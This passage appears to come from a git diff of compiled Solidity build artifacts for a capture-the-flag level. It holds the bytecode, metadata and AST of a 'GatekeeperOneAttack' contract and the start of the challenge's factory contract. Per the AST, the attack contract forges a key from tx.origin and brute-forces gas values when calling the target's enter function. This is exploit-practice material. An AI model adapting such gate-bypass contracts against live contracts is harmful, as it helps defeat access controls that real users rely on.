565b92915050565b5f82515f5b818110156101d157602081860181015185830152016101b7565b505f920191825250919050565b603e806101ea5f395ff3fe60806040525f80fdfea26469706673582212207ad4c94c49031dad06ac481cd9ccb331b684d228e2de87d1c63e2eb4cc347e5164736f6c63430008180033","sourceMap":"58:902:45:-:0;;;93:865;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;153:10;173:44;:34;195:9;173:34;210:7;173:44;:::i;:::-;166:52;;153:65;;560:26;632:3;589:47;;;;;;;-1:-1:-1;;;;;;788:37:155;;;;770:56;;758:2;743:18;;626:206;589:47:45;;;;-1:-1:-1;;589:47:45;;;;;;;;;;;;;;-1:-1:-1;;;;;589:47:45;-1:-1:-1;;;589:47:45;;;;-1:-1:-1;;731:221:45;755:3;751:1;:7;731:221;;;780:11;-1:-1:-1;;;;;796:42:45;;844:7;:1;848:3;844:7;:::i;:::-;:18;;854:8;844:18;:::i;:::-;864:13;796:82;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;779:99;;;896:6;892:50;;;922:5;;;892:50;-1:-1:-1;760:3:45;;731:221;;;;143:815;;93:865;58:902;;14:290:155;84:6;137:2;125:9;116:7;112:23;108:32;105:52;;;153:1;150;143:12;105:52;179:16;;-1:-1:-1;;;;;224:31:155;;214:42;;204:70;;270:1;267;260:12;204:70;293:5;14:290;-1:-1:-1;;;14:290:155:o;309:127::-;370:10;365:3;361:20;358:1;351:31;401:4;398:1;391:15;425:4;422:1;415:15;441:180;-1:-1:-1;;;;;546:10:155;;;558;;;542:27;;581:11;;;578:37;;;595:18;;:::i;:::-;578:37;441:180;;;;:::o;837:125::-;902:9;;;923:10;;;920:36;;;936:18;;:::i;:::-;837:125;;;;:::o;967:412::-;1096:3;1134:6;1128:13;1159:1;1169:129;1183:6;1180:1;1177:13;1169:129;;;1281:4;1265:14;;;1261:25;;1255:32;1242:11;;;1235:53;1198:12;1169:129;;;-1:-1:-1;1353:1:155;1317:16;;1342:13;;;-1:-1:-1;1317:16:155;967:412;-1:-1:-1;967:412:155:o;:::-;58:902:45;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x60806040525f80fdfea26469706673582212207ad4c94c49031dad06ac481cd9ccb331b684d228e2de87d1c63e2eb4cc347e5164736f6c63430008180033","sourceMap":"58:902:45:-:0;;;;;","linkReferences":{}},"methodIdentifiers":{},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"GatekeeperOneContractAddress\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/attacks/GatekeeperOneAttack.sol\":\"GatekeeperOneAttack\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/attacks/GatekeeperOneAttack.sol\":{\"keccak256\":\"0xd1e20082a0819149d2a008850563e889808fdc5bb27bbd0a3cb7754a4f52e754\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f14533675055c97333af38fb6ed7075bba0c7c577ce6d9a218b675010c7ad6a3\",\"dweb:/ipfs/QmdTqN8gXZmvREuV3tbYGRwakvC1dB1bSTUnEVjWXrKrX6\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"GatekeeperOneContractAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/attacks/GatekeeperOneAttack.sol":"GatekeeperOneAttack"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/attacks/GatekeeperOneAttack.sol":{"keccak256":"0xd1e20082a0819149d2a008850563e889808fdc5bb27bbd0a3cb7754a4f52e754","urls":["bzz-raw://f14533675055c97333af38fb6ed7075bba0c7c577ce6d9a218b675010c7ad6a3","dweb:/ipfs/QmdTqN8gXZmvREuV3tbYGRwakvC1dB1bSTUnEVjWXrKrX6"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/attacks/GatekeeperOneAttack.sol","id":49411,"exportedSymbols":{"GatekeeperOneAttack":[49410]},"nodeType":"SourceUnit","src":"33:928:45","nodes":[{"id":49339,"nodeType":"PragmaDirective","src":"33:23:45","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":49410,"nodeType":"ContractDefinition","src":"58:902:45","nodes":[{"id":49409,"nodeType":"FunctionDefinition","src":"93:865:45","nodes":[],"body":{"id":49408,"nodeType":"Block","src":"143:815:45","nodes":[],"statements":[{"assignments":[49345],"declarations":[{"constant":false,"id":49345,"mutability":"mutable","name":"key","nameLocation":"160:3:45","nodeType":"VariableDeclaration","scope":49408,"src":"153:10:45","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes8","typeString":"bytes8"},"typeName":{"id":49344,"name":"bytes8","nodeType":"ElementaryTypeName","src":"153:6:45","typeDescriptions":{"typeIdentifier":"t_bytes8","typeString":"bytes8"}},"visibility":"internal"}],"id":49364,"initialValue":{"arguments":[{"commonType":{"typeIdentifier":"t_uint64","typeString":"uint64"},"id":49362,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"arguments":[{"arguments":[{"expression":{"id":49354,"name":"tx","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-26,"src":"195:2:45","typeDescriptions":{"typeIdentifier":"t_magic_transaction","typeString":"tx"}},"id":49355,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"198:6:45","memberName":"origin","nodeType":"MemberAccess","src":"195:9:45","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":49353,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"187:7:45","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":49352,"name":"uint160","nodeType":"ElementaryTypeName","src":"187:7:45","typeDescriptions":{}}},"id":49356,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"187:18:45","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":49351,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"180:6:45","typeDescriptions":{"typeIdentifier":"t_type$_t_uint16_$","typeString":"type(uint16)"},"typeName":{"id":49350,"name":"uint16","nodeType":"ElementaryTypeName","src":"180:6:45","typeDescriptions":{}}},"id":49357,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"180:26:45","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint16","typeString":"uint16"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint16","typeString":"uint16"}],"id":49349,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"173:6:45","typeDescriptions":{"typeIdentifier":"t_type$_t_uint64_$","typeString":"type(uint64)"},"typeName":{"id":49348,"name":"uint64","nodeType":"ElementaryTypeName","src":"173:6:45","typeDescriptions":{}}},"id":49358,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"173:34:45","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"commonType":{"typeIdentifier":"t_rational_4294967296_by_1","typeString":"int_const 4294967296"},"id":49361,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"leftExpression":{"hexValue":"32","id":49359,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"210:1:45","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"},"nodeType":"BinaryOperation","operator":"**","rightExpression":{"hexValue":"3332","id":49360,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"215:2:45","typeDescriptions":{"typeIdentifier":"t_rational_32_by_1","typeString":"int_const 32"},"value":"32"},"src":"210:7:45","typeDescriptions":{"typeIdentifier":"t_rational_4294967296_by_1","typeString":"int_const 4294967296"}},"src":"173:44:45","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint64","typeString":"uint64"}],"id":49347,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"166:6:45","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes8_$","typeString":"type(bytes8)"},"typeName":{"id":49346,"name":"bytes8","nodeType":"ElementaryTypeName","src":"166:6:45","typeDescriptions":{}}},"id":49363,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"166:52:45","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes8","typeString":"bytes8"}},"nodeType":"VariableDeclarationStatement","src":"153:65:45"},{"assignments":[49366],"declarations":[{"constant":false,"id":49366,"mutability":"mutable","name":"encodedParams","nameLocation":"573:13:45","nodeType":"VariableDeclaration","scope":49408,"src":"560:26:45","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":49365,"name":"bytes","nodeType":"ElementaryTypeName","src":"560:5:45","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":49373,"initialValue":{"arguments":[{"components":[{"hexValue":"656e7465722862797465733829","id":49369,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"614:15:45","typeDescriptions":{"typeIdentifier":"t_stringliteral_3370204ec98aba7f6a7e6f8e1821e3e93ed448423cd937e26bb3635897d85768","typeString":"literal_string \"enter(bytes8)\""},"value":"enter(bytes8)"}],"id":49370,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"613:17:45","typeDescriptions":{"typeIdentifier":"t_stringliteral_3370204ec98aba7f6a7e6f8e1821e3e93ed448423cd937e26bb3635897d85768","typeString":"literal_string \"enter(bytes8)\""}},{"id":49371,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49345,"src":"632:3:45","typeDescriptions":{"typeIdentifier":"t_bytes8","typeString":"bytes8"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_3370204ec98aba7f6a7e6f8e1821e3e93ed448423cd937e26bb3635897d85768","typeString":"literal_string \"enter(bytes8)\""},{"typeIdentifier":"t_bytes8","typeString":"bytes8"}],"expression":{"id":49367,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"589:3:45","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":49368,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"593:19:45","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"589:23:45","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":49372,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"589:47:45","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"VariableDeclarationStatement","src":"560:76:45"},{"body":{"id":49406,"nodeType":"Block","src":"765:187:45","statements":[{"assignments":[49385,null],"declarations":[{"constant":false,"id":49385,"mutability":"mutable","name":"result","nameLocation":"785:6:45","nodeType":"VariableDeclaration","scope":49406,"src":"780:11:45","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":49384,"name":"bool","nodeType":"ElementaryTypeName","src":"780:4:45","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},null],"id":49401,"initialValue":{"arguments":[{"id":49399,"name":"encodedParams","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49366,"src":"864:13:45","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"arguments":[{"id":49388,"name":"GatekeeperOneContractAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49341,"src":"804:28:45","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":49387,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"796:7:45","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":49386,"name":"address","nodeType":"ElementaryTypeName","src":"796:7:45","typeDescriptions":{}}},"id":49389,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"796:37:45","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":49390,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"834:4:45","memberName":"call","nodeType":"MemberAccess","src":"796:42:45","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":49398,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"names":["gas"],"nodeType":"FunctionCallOptions","options":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":49397,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":49393,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":49391,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49375,"src":"844:1:45","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"hexValue":"313530","id":49392,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"848:3:45","typeDescriptions":{"typeIdentifier":"t_rational_150_by_1","typeString":"int_const 150"},"value":"150"},"src":"844:7:45","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"commonType":{"typeIdentifier":"t_rational_24573_by_1","typeString":"int_const 24573"},"id":49396,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"leftExpression":{"hexValue":"38313931","id":49394,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"854:4:45","typeDescriptions":{"typeIdentifier":"t_rational_8191_by_1","typeString":"int_const 8191"},"value":"8191"},"nodeType":"BinaryOperation","operator":"*","rightExpression":{"hexValue":"33","id":49395,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"861:1:45","typeDescriptions":{"typeIdentifier":"t_rational_3_by_1","typeString":"int_const 3"},"value":"3"},"src":"854:8:45","typeDescriptions":{"typeIdentifier":"t_rational_24573_by_1","typeString":"int_const 24573"}},"src":"844:18:45","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"src":"796:67:45","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$gas","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":49400,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"796:82:45","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"779:99:45"},{"condition":{"id":49402,"name":"result","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49385,"src":"896:6:45","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":49405,"nodeType":"IfStatement","src":"892:50:45","trueBody":{"id":49404,"nodeType":"Block","src":"904:38:45","statements":[{"id":49403,"nodeType":"Break","src":"922:5:45"}]}}]},"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":49380,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":49378,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49375,"src":"751:1:45","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"hexValue":"313230","id":49379,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"755:3:45","typeDescriptions":{"typeIdentifier":"t_rational_120_by_1","typeString":"int_const 120"},"value":"120"},"src":"751:7:45","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":49407,"initializationExpression":{"assignments":[49375],"declarations":[{"constant":false,"id":49375,"mutability":"mutable","name":"i","nameLocation":"744:1:45","nodeType":"VariableDeclaration","scope":49407,"src":"736:9:45","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":49374,"name":"uint256","nodeType":"ElementaryTypeName","src":"736:7:45","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":49377,"initialValue":{"hexValue":"30","id":49376,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"748:1:45","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"nodeType":"VariableDeclarationStatement","src":"736:13:45"},"isSimpleCounterLoop":true,"loopExpression":{"expression":{"id":49382,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":false,"src":"760:3:45","subExpression":{"id":49381,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49375,"src":"760:1:45","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":49383,"nodeType":"ExpressionStatement","src":"760:3:45"},"nodeType":"ForStatement","src":"731:221:45"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":49342,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49341,"mutability":"mutable","name":"GatekeeperOneContractAddress","nameLocation":"113:28:45","nodeType":"VariableDeclaration","scope":49409,"src":"105:36:45","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49340,"name":"address","nodeType":"ElementaryTypeName","src":"105:7:45","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"104:38:45"},"returnParameters":{"id":49343,"nodeType":"ParameterList","parameters":[],"src":"143:0:45"},"scope":49410,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"GatekeeperOneAttack","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[49410],"name":"GatekeeperOneAttack","nameLocation":"67:19:45","scope":49411,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":45} \ No newline at end of file diff --git a/contracts/out/GatekeeperOneFactory.sol/GatekeeperOneFactory.json b/contracts/out/GatekeeperOneFactory.sol/GatekeeperOneFactory.json new file mode 100644 index 000000000..5d294e3b7 --- /dev/null +++ b/contracts/out/GatekeeperOneFactory.sol/GatekeeperOneFactory.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"createInstance","inputs":[{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"payable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"validateInstance","inputs":[{"name":"_instance","type":"address","internalType":"address payable"},{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6107468061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610345565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610367565b61014e565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610345565b6101cf565b610114610264565b61011d5f6102bd565b565b5f8060405161012d90610324565b604051809103905ff080158015610146573d5f803e3d5ffd5b509392505050565b5f80839050826001600160a01b0316816001600160a01b0316639db31d776040518163ffffffff1660e01b8152600401602060405180830381865afa158015610199573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101bd919061039e565b6001600160a01b031614949350505050565b6101d7610264565b6001600160a01b0381166102585760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610261816102bd565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161024f565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610357806103ba83390190565b6001600160a01b0381168114610261575f80fd5b5f60208284031215610355575f80fd5b813561036081610331565b9392505050565b5f8060408385031215610378575f80fd5b823561038381610331565b9150602083013561039381610331565b809150509250929050565b5f602082840312156103ae575f80fd5b81516103608161033156fe608060405234801561000f575f80fd5b5061033a8061001d5f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c80633370204e146100385780639db31d7714610060575b5f80fd5b61004b610046366004610286565b6100a4565b60405190151581526020015b60405180910390f35b5f5461007f9073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff9091168152602001610057565b5f3233036100b0575f80fd5b611fff5a6100be91906102cc565b156100c7575f80fd5b818060c01c61ffff168160c01c63ffffffff16146101525760405162461bcd60e51b815260206004820152602960248201527f476174656b65657065724f6e653a20696e76616c69642067617465546872656560448201527f2070617274206f6e65000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b60c081901c63ffffffff8116036101d15760405162461bcd60e51b815260206004820152602960248201527f476174656b65657065724f6e653a20696e76616c69642067617465546872656560448201527f20706172742074776f00000000000000000000000000000000000000000000006064820152608401610149565b3261ffff168160c01c63ffffffff16146102535760405162461bcd60e51b815260206004820152602b60248201527f476174656b65657065724f6e653a20696e76616c69642067617465546872656560448201527f20706172742074687265650000000000000000000000000000000000000000006064820152608401610149565b5f80547fffffffffffffffffffffffff000000000000000000000000000000000000000016321790556001915050919050565b5f60208284031215610296575f80fd5b81357fffffffffffffffff000000000000000000000000000000000000000000000000811681146102c5575f80fd5b9392505050565b5f826102ff577f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b50069056fea26469706673582212205420005dfc556417d569625d026a501d56b27af6c07caf3648e6877d9ba3995364736f6c63430008180033a2646970667358221220556ab9dd067bcc2c27b75c1efff3cc66e56fc9204b8ca7d14f8ff15a05b39b6364736f6c63430008180033","sourceMap":"116:466:82:-:0;;;;;;;;;;;;-1:-1:-1;936:32:23;719:10:34;936:18:23;:32::i;:::-;116:466:82;;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;-1:-1:-1;;;;;;2541:17:23;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;116:466:82:-;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610345565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610367565b61014e565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610345565b6101cf565b610114610264565b61011d5f6102bd565b565b5f8060405161012d90610324565b604051809103905ff080158015610146573d5f803e3d5ffd5b509392505050565b5f80839050826001600160a01b0316816001600160a01b0316639db31d776040518163ffffffff1660e01b8152600401602060405180830381865afa158015610199573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101bd919061039e565b6001600160a01b031614949350505050565b6101d7610264565b6001600160a01b0381166102585760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610261816102bd565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161024f565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610357806103ba83390190565b6001600160a01b0381168114610261575f80fd5b5f60208284031215610355575f80fd5b813561036081610331565b9392505050565b5f8060408385031215610378575f80fd5b823561038381610331565b9150602083013561039381610331565b809150509250929050565b5f602082840312156103ae575f80fd5b81516103608161033156fe608060405234801561000f575f80fd5b5061033a8061001d5f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c80633370204e146100385780639db31d7714610060575b5f80fd5b61004b610046366004610286565b6100a4565b60405190151581526020015b60405180910390f35b5f5461007f9073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff9091168152602001610057565b5f3233036100b0575f80fd5b611fff5a6100be91906102cc565b156100c7575f80f